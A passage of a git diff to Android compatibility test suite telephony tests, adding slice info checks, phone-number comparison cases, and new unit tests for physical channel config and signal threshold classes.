+    private static final int TEST_HPLMN_SLICE_DIFFERENTIATOR = 10;
+    private static final int TEST_HPLMN_SLICE_SERVICE_TYPE = SLICE_SERVICE_TYPE_MIOT;
+    private static final SliceInfo SLICE_INFO =
+            new SliceInfo.Builder()
+                .setSliceServiceType(TEST_SLICE_SERVICE_TYPE)
+                .setSliceDifferentiator(TEST_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceDifferentiator(TEST_HPLMN_SLICE_DIFFERENTIATOR)
+                .setMappedHplmnSliceServiceType(TEST_HPLMN_SLICE_SERVICE_TYPE)
+                .build();
+
 
     @Test
     public void testConstructorAndGetters() {
@@ -70,6 +85,7 @@
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
                 .build();
 
         assertThat(response.getCause()).isEqualTo(CAUSE);
@@ -86,6 +102,7 @@
         assertThat(response.getMtuV6()).isEqualTo(MTU_V6);
         assertThat(response.getHandoverFailureMode()).isEqualTo(HANDOVER_FAILURE_MODE_DO_FALLBACK);
         assertThat(response.getPduSessionId()).isEqualTo(PDU_SESSION_ID);
+        assertThat(response.getSliceInfo()).isEqualTo(SLICE_INFO);
     }
 
     @Test
@@ -105,6 +122,7 @@
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
                 .build();
 
         DataCallResponse equalsResponse = new DataCallResponse.Builder()
@@ -122,6 +140,7 @@
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
                 .build();
 
         assertThat(response).isEqualTo(equalsResponse);
@@ -144,6 +163,7 @@
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
                 .build();
 
         DataCallResponse notEqualsResponse = new DataCallResponse.Builder()
@@ -161,6 +181,7 @@
                 .setMtuV6(1440)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE_LEGACY)
                 .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
                 .build();
 
         assertThat(response).isNotEqualTo(notEqualsResponse);
@@ -185,6 +206,7 @@
                 .setMtuV6(MTU_V6)
                 .setHandoverFailureMode(HANDOVER_FAILURE_MODE)
                 .setPduSessionId(PDU_SESSION_ID)
+                .setSliceInfo(SLICE_INFO)
                 .build();
 
         Parcel stateParcel = Parcel.obtain();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
index 60b0de2..24cc212 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/MmsTest.java
@@ -212,7 +212,7 @@
                 .build();
         // Send
         final PendingIntent pendingIntent = PendingIntent.getBroadcast(
-                context, 0, new Intent(ACTION_MMS_SENT), 0);
+                context, 0, new Intent(ACTION_MMS_SENT), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         smsManager.sendMultimediaMessage(context,
                 contentUri, null/*locationUrl*/, null/*configOverrides*/, pendingIntent);
         assertTrue(mSentReceiver.waitForSuccess(SENT_TIMEOUT));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
index 49558d1..38873cf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneNumberUtilsTest.java
@@ -387,12 +387,65 @@
 
     @Test
     public void testFormatNumberToE164() {
-        assertNull(PhoneNumberUtils.formatNumber("invalid#", "US"));
-        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "US"));
+        assertNull(PhoneNumberUtils.formatNumber("invalid#", "us"));
+        assertNull(PhoneNumberUtils.formatNumberToE164("1234567", "us"));
 
-        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "US"));
-        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "US"));
-        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "US"));
-        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "JP"));
+        assertEquals("+18004664114", PhoneNumberUtils.formatNumberToE164("800-GOOG-114", "us"));
+        assertEquals("+16502910000", PhoneNumberUtils.formatNumberToE164("650 2910000", "us"));
+        assertEquals("+12023458246", PhoneNumberUtils.formatNumberToE164("(202)345-8246", "us"));
+        assertEquals("+812023458246", PhoneNumberUtils.formatNumberToE164("202-345-8246", "jp"));
+    }
+
+    @Test
+    public void testAreSamePhoneNumber() {
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("abcd", "bcde", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "800-flowers", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("1-800-flowers", "1-800-abcdefg", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("999", "999", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("123456789", "923456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("123456789", "0123456789", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "650 253 0000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "1-650-253-0000", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "11-650-253-0000", "us"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("650-253-0000", "0-650-253-0000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("555-4141", "+1-700-555-4141", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+1650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("001650-253-0000", "6502530000", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("0111650-253-0000", "6502530000", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+19012345678", "+819012345678", "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("008001231234", "8001231234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+66811234567", "166811234567", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "us"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("011 11 7005554141", "+17005554141", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+44 207 792 3490", "00 207 792 3490",
+                "us"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("16610001234", "6610001234", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+14504503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15404503605", "us"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("550-450-3605", "+15514503605", "us"));
+
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "+819012345678", "jp"));
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "90-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "080-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "190-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("090-1234-5678", "890-1234-5678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("080-1234-5678", "+819012345678", "jp"));
+        assertFalse(PhoneNumberUtils.areSamePhoneNumber("290-1234-5678", "+819012345678", "jp"));
+
+        //TODO: Change the expected result to false after libphonenumber improvement
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+79161234567", "89161234567", "ru"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+33123456789", "0123456789", "fr"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+31771234567", "0771234567", "nl"));
+
+        assertTrue(PhoneNumberUtils.areSamePhoneNumber("+593(800)123-1234", "8001231234", "ec"));
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
new file mode 100644
index 0000000..cc534f7
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhysicalChannelConfigTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.telephony.AccessNetworkConstants;
+import android.telephony.PhysicalChannelConfig;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PhysicalChannelConfigTest {
+
+    private static final int[] CONTEXT_IDS = new int[] {123, 555, 1, 0};
+    private static final int BAND = 1;
+    private static final int CONNECTION_STATUS = PhysicalChannelConfig.CONNECTION_PRIMARY_SERVING;
+    private static final int CELL_BANDWIDTH = 12345;
+    private static final int CHANNEL_NUMBER = 1234;
+    private static final int FREQUENCY_RANGE = 1;
+    private static final int PHYSICAL_CELL_ID = 502;
+    private static final int PHYSICAL_INVALID_CELL_ID = 1008;
+    private static final int NETWORK_TYPE_NR = TelephonyManager.NETWORK_TYPE_NR;
+    private static final int NETWORK_TYPE_LTE = TelephonyManager.NETWORK_TYPE_LTE;
+    private static final int NETWORK_TYPE_UMTS = TelephonyManager.NETWORK_TYPE_UMTS;
+    private static final int NETWORK_TYPE_GSM = TelephonyManager.NETWORK_TYPE_GSM;
+
+
+    private PhysicalChannelConfig mPhysicalChannelConfig;
+
+    @Before
+    public void setUp() throws Exception {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_LTE)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setFrequencyRange(FREQUENCY_RANGE)
+                .setDownlinkChannelNumber(CHANNEL_NUMBER)
+                .setUplinkChannelNumber(CHANNEL_NUMBER)
+                .setBand(BAND)
+                .build();
+    }
+
+    @Test
+    public void testInvalidPhysicalChannelConfig() {
+        try {
+            mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                    .setNetworkType(NETWORK_TYPE_LTE)
+                    .setPhysicalCellId(PHYSICAL_INVALID_CELL_ID)
+                    .setCellConnectionStatus(CONNECTION_STATUS)
+                    .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                    .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                    .setContextIds(CONTEXT_IDS)
+                    .setFrequencyRange(FREQUENCY_RANGE)
+                    .setDownlinkChannelNumber(CHANNEL_NUMBER)
+                    .setUplinkChannelNumber(CHANNEL_NUMBER)
+                    .setBand(BAND)
+                    .build();
+            fail("Physical cell Id: 1008 is over limit");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    @Test
+    public void testGetCellBandwidthDownlinkKhz() {
+        assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthDownlinkKhz());
+    }
+
+    @Test
+    public void testGetCellBandwidthUplinkKhz() {
+        assertEquals(CELL_BANDWIDTH, mPhysicalChannelConfig.getCellBandwidthUplinkKhz());
+    }
+
+    @Test
+    public void testGetConnectionStatus() {
+        assertEquals(CONNECTION_STATUS, mPhysicalChannelConfig.getConnectionStatus());
+    }
+
+    @Test
+    public void testGetNetworkType() {
+        assertEquals(NETWORK_TYPE_LTE, mPhysicalChannelConfig.getNetworkType());
+    }
+
+    @Test
+    public void testGetPhysicalCellId() {
+        assertEquals(PHYSICAL_CELL_ID, mPhysicalChannelConfig.getPhysicalCellId());
+    }
+
+    @Test
+    public void testGetBand() {
+        assertEquals(BAND, mPhysicalChannelConfig.getBand());
+    }
+
+    @Test
+    public void testGetDownlinkChannelNumber() {
+        assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getDownlinkChannelNumber());
+    }
+
+    @Test
+    public void testGetUpChannelNumber() {
+        assertEquals(CHANNEL_NUMBER, mPhysicalChannelConfig.getUplinkChannelNumber());
+    }
+
+    @Test
+    public void testGetContextId() {
+        assertEquals(CONTEXT_IDS, mPhysicalChannelConfig.getContextIds());
+    }
+
+    @Test
+    public void testFrequencyRange() {
+        assertEquals(FREQUENCY_RANGE, mPhysicalChannelConfig.getFrequencyRange());
+    }
+
+    @Test
+    public void testFrequencyRangeForNrArfcnFromBand() {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_NR)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setDownlinkChannelNumber(4500)
+                .setUplinkChannelNumber(4500)
+                .setBand(AccessNetworkConstants.NgranBands.BAND_79)
+                .build();
+
+        assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+                ServiceState.FREQUENCY_RANGE_HIGH);
+    }
+
+    @Test
+    public void testFrequencyRangeForNrArfcnFromChannelNumber() {
+        mPhysicalChannelConfig = new PhysicalChannelConfig.Builder()
+                .setPhysicalCellId(PHYSICAL_CELL_ID)
+                .setNetworkType(NETWORK_TYPE_NR)
+                .setCellConnectionStatus(CONNECTION_STATUS)
+                .setCellBandwidthDownlinkKhz(CELL_BANDWIDTH)
+                .setCellBandwidthUplinkKhz(CELL_BANDWIDTH)
+                .setContextIds(CONTEXT_IDS)
+                .setDownlinkChannelNumber(4500)
+                .setUplinkChannelNumber(4500)
+                .setBand(100)
+                .build();
+
+        assertThat(mPhysicalChannelConfig.getFrequencyRange()).isEqualTo(
+                ServiceState.FREQUENCY_RANGE_LOW);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
new file mode 100644
index 0000000..0440f89
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalStrengthUpdateRequestTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalStrengthUpdateRequest;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Collection;
+import java.util.List;
+
+public class SignalStrengthUpdateRequestTest {
+
+    private SignalThresholdInfo mRssiInfo = new SignalThresholdInfo.Builder()
+            .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+            .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+            .setThresholds(new int[]{-109, -103, -97, -89})
+            .build();
+
+    private SignalThresholdInfo mRscpInfo = new SignalThresholdInfo.Builder()
+            .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.UTRAN)
+            .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP)
+            .setThresholds(new int[]{-115, -105, -95, -85})
+            .build();
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
+    @Test
+    public void testBuilderWithInvalidParam() {
+        // null Collection
+        validateBuilderWithInvalidParam(null);
+
+        // duplication of SignalMeasurementType in Collection
+        validateBuilderWithInvalidParam(List.of(mRssiInfo, mRssiInfo));
+    }
+
+    @Test
+    public void testBuilderWithValidParams() {
+        Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+        assertFalse(request.isReportingRequestedWhileIdle());
+        assertEquals(infos, request.getSignalThresholdInfos());
+    }
+
+    @Test
+    public void testParcel() {
+        Collection<SignalThresholdInfo> infos = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(true).build();
+
+        Parcel p = Parcel.obtain();
+        request.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        SignalStrengthUpdateRequest newRequest =
+                SignalStrengthUpdateRequest.CREATOR.createFromParcel(p);
+        assertThat(newRequest).isEqualTo(request);
+    }
+
+    @Test
+    public void testEquals() {
+        Collection<SignalThresholdInfo> infos1 = List.of(mRssiInfo, mRscpInfo);
+        SignalStrengthUpdateRequest request1 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(false).build();
+
+        assertTrue(request1.equals(request1));
+
+        // Ordering does not matter
+        Collection<SignalThresholdInfo> infos2 = List.of(mRscpInfo, mRssiInfo);
+        SignalStrengthUpdateRequest request2 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos2).setReportingRequestedWhileIdle(false).build();
+        assertTrue(request1.equals(request2));
+
+        SignalStrengthUpdateRequest request3 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos1).setReportingRequestedWhileIdle(true).build();
+        assertFalse(request1.equals(request3));
+
+        Collection<SignalThresholdInfo> infos4 = List.of(mRscpInfo);
+        SignalStrengthUpdateRequest request4 = new SignalStrengthUpdateRequest.Builder()
+                .setSignalThresholdInfos(infos4).setReportingRequestedWhileIdle(false).build();
+        assertFalse(request1.equals(request4));
+
+        // return false if the object is not SignalStrengthUpdateRequest
+        assertFalse(request1.equals("test"));
+    }
+
+    private void validateBuilderWithInvalidParam(Collection<SignalThresholdInfo> infos) {
+        try {
+            new SignalStrengthUpdateRequest.Builder()
+                    .setSignalThresholdInfos(infos).setReportingRequestedWhileIdle(false).build();
+            fail("Exception expected");
+        } catch (IllegalArgumentException | NullPointerException expected) {
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
new file mode 100644
index 0000000..e60ff53
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test SignalThresholdInfo to make sure the object can only constructed with only valid data.
+ */
+public class SignalThresholdInfoTest {
+    private static final String TAG = "SignalThresholdInfo";
+
+    // A sample of valid (RAN, SignalMeasurementType, threshold value) arrays. Threshold value will
+    // used to construct thresholds array during test.
+    private static final int[][] VALID_PARAMS = {
+            {AccessNetworkConstants.AccessNetworkType.GERAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, -100},
+            {AccessNetworkConstants.AccessNetworkType.CDMA2000,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.UTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP, -100},
+            {AccessNetworkConstants.AccessNetworkType.EUTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.NGRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    -100},
+    };
+
+    // Map of SignalMeasurementType to invalid thresholds edge values.
+    // Each invalid value will be constructed with a thresholds array to test separately.
+    private static final Map<Integer, List<Integer>> INVALID_THRESHOLDS_MAP = Map.of(
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+            List.of(SignalThresholdInfo.SIGNAL_RSSI_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSI_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP,
+            List.of(SignalThresholdInfo.SIGNAL_RSCP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSCP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+            List.of(SignalThresholdInfo.SIGNAL_RSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_RSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR,
+            List.of(SignalThresholdInfo.SIGNAL_RSSNR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSNR_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR,
+            List.of(SignalThresholdInfo.SIGNAL_SSSINR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSSINR_MAX_VALUE + 1)
+    );
+
+    // Map of RAN to allowed SignalMeasurementType set.
+    // RAN/TYPE pair will be used to verify the validation of the combo
+    private static final Map<Integer, Set<Integer>> VALID_RAN_TO_MEASUREMENT_TYPE_MAP = Map.of(
+            AccessNetworkConstants.AccessNetworkType.GERAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.CDMA2000,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.UTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP),
+            AccessNetworkConstants.AccessNetworkType.EUTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR),
+            AccessNetworkConstants.AccessNetworkType.NGRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR)
+    );
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
+    @Test
+    public void testConstructor_validParams() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+
+            assertEquals(ran, sti.getRadioAccessNetworkType());
+            assertEquals(signalMeasurementType, sti.getSignalMeasurementType());
+            assertThat(thresholds).isEqualTo(sti.getThresholds());
+        }
+    }
+
+    @Test
+    public void testConstructor_invalidSignalMeasurementType() {
+        final int[] invalidSignalMeasurementTypes = new int[]{-1, 0, 9};
+        for (int signalMeasurementType : invalidSignalMeasurementTypes) {
+            buildWithInvalidParameterThrowException(
+                    AccessNetworkConstants.AccessNetworkType.GERAN, signalMeasurementType,
+                    new int[]{-1});
+        }
+    }
+
+    @Test
+    public void testConstructor_nullThresholds() {
+        buildWithInvalidParameterThrowException(
+                AccessNetworkConstants.AccessNetworkType.GERAN,
+                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, null);
+    }
+
+    @Test
+    public void testConstructor_invalidRanMeasurementTypeCombo() {
+        for (int ran : VALID_RAN_TO_MEASUREMENT_TYPE_MAP.keySet()) {
+            Set validTypes = VALID_RAN_TO_MEASUREMENT_TYPE_MAP.get(ran);
+            for (int type = SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI;
+                    type <= SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR; type++) {
+                if (!validTypes.contains(type)) {
+                    buildWithInvalidParameterThrowException(ran, type, new int[]{-1});
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testConstructor_thresholdsOutOfRange() {
+        for (int signalMeasurementType : INVALID_THRESHOLDS_MAP.keySet()) {
+            List<Integer> invalidThresholds = INVALID_THRESHOLDS_MAP.get(signalMeasurementType);
+            for (int threshold : invalidThresholds) {
+                buildWithInvalidParameterThrowException(getValidRan(signalMeasurementType),
+                        signalMeasurementType, new int[]{threshold});
+            }
+        }
+    }
+
+    @Test
+    public void testParcel() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            Parcel p = Parcel.obtain();
+            sti.writeToParcel(p, 0);
+            p.setDataPosition(0);
+
+            SignalThresholdInfo newSt = SignalThresholdInfo.CREATOR.createFromParcel(p);
+            assertThat(newSt).isEqualTo(sti);
+        }
+
+    }
+
+    @Test
+    public void testEquals() {
+        final int[] dummyThresholds = new int[]{-100, -90, -70, -60};
+        final int[] dummyThresholdsDisordered = new int[]{-60, -90, -100, -70};
+
+        SignalThresholdInfo sti1 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
